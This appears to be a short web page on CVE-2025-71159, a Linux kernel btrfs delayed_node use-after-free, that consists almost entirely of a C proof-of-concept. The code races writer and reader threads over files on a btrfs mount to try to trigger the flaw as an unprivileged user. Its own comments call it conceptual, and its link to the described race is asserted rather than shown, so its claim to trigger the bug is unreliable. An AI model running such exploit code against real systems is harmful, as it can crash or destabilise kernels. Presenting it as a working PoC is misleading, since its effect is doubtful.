CVE-2025-71159: Linux内核btrfs use-after-free内存安全漏洞

/* * CVE-2025-71159 PoC - btrfs delayed_node use-after-free * This is a conceptual proof-of-concept demonstrating the race condition. * Actual exploitation requires kernel debugging and specific btrfs operations. * * Compile: gcc -o cve_poc cve_poc.c -lpthread * Run as low-privileged user on btrfs filesystem */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #define NUM_THREADS 4 #define NUM_ITERATIONS 10000 void *writer_thread(void *arg) { /* * Thread that triggers delayed node creation via btrfs operations. * This thread performs file operations that invoke btrfs_get_or_create_delayed_node(). * The race condition occurs when refcount is set inside the lock critical section. */ int fd; char filepath[256]; for (int i = 0; i < NUM_ITERATIONS; i++) { snprintf(filepath, sizeof(filepath), "/mnt/btrfs/test_file_%d", i % 100); fd = open(filepath, O_CREAT | O_WRONLY, 0644); if (fd >= 0) { write(fd, "test data", 9); /* Force delayed node allocation */ fsync(fd); close(fd); } } return NULL; } void *reader_thread(void *arg) { /* * Thread that attempts to access delayed nodes concurrently. * This can trigger the use-after-free when reading delayed_node * before refcount is properly set. */ int fd; char filepath[256]; for (int i = 0; i < NUM_ITERATIONS; i++) { snprintf(filepath, sizeof(filepath), "/mnt/btrfs/test_file_%d", i % 100); fd = open(filepath, O_RDONLY); if (fd >= 0) { /* * Read operations may access delayed_node concurrently. * Under race conditions, this can trigger the use-after-free. */ char buf[512]; read(fd, buf, sizeof(buf)); close(fd); } /* Small delay to increase race window */ usleep(1); } return NULL; } int main() { pthread_t threads[NUM_THREADS]; printf("CVE-2025-71159 PoC - btrfs delayed_node UAF\n"); printf("This PoC demonstrates concurrent access to btrfs delayed nodes.\n"); printf("Target: Linux kernel btrfs use-after-free in btrfs_get_or_create_delayed_node()\n"); /* Create writer threads */ for (int i = 0; i < NUM_THREADS / 2; i++) { pthread_create(&threads[i], NULL, writer_thread, NULL); } /* Create reader threads */ for (int i = NUM_THREADS / 2; i < NUM_THREADS; i++) { pthread_create(&threads[i], NULL, reader_thread, NULL); } /* Wait for all threads */ for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("PoC execution completed. Check dmesg for use-after-free warnings.\n"); return 0; }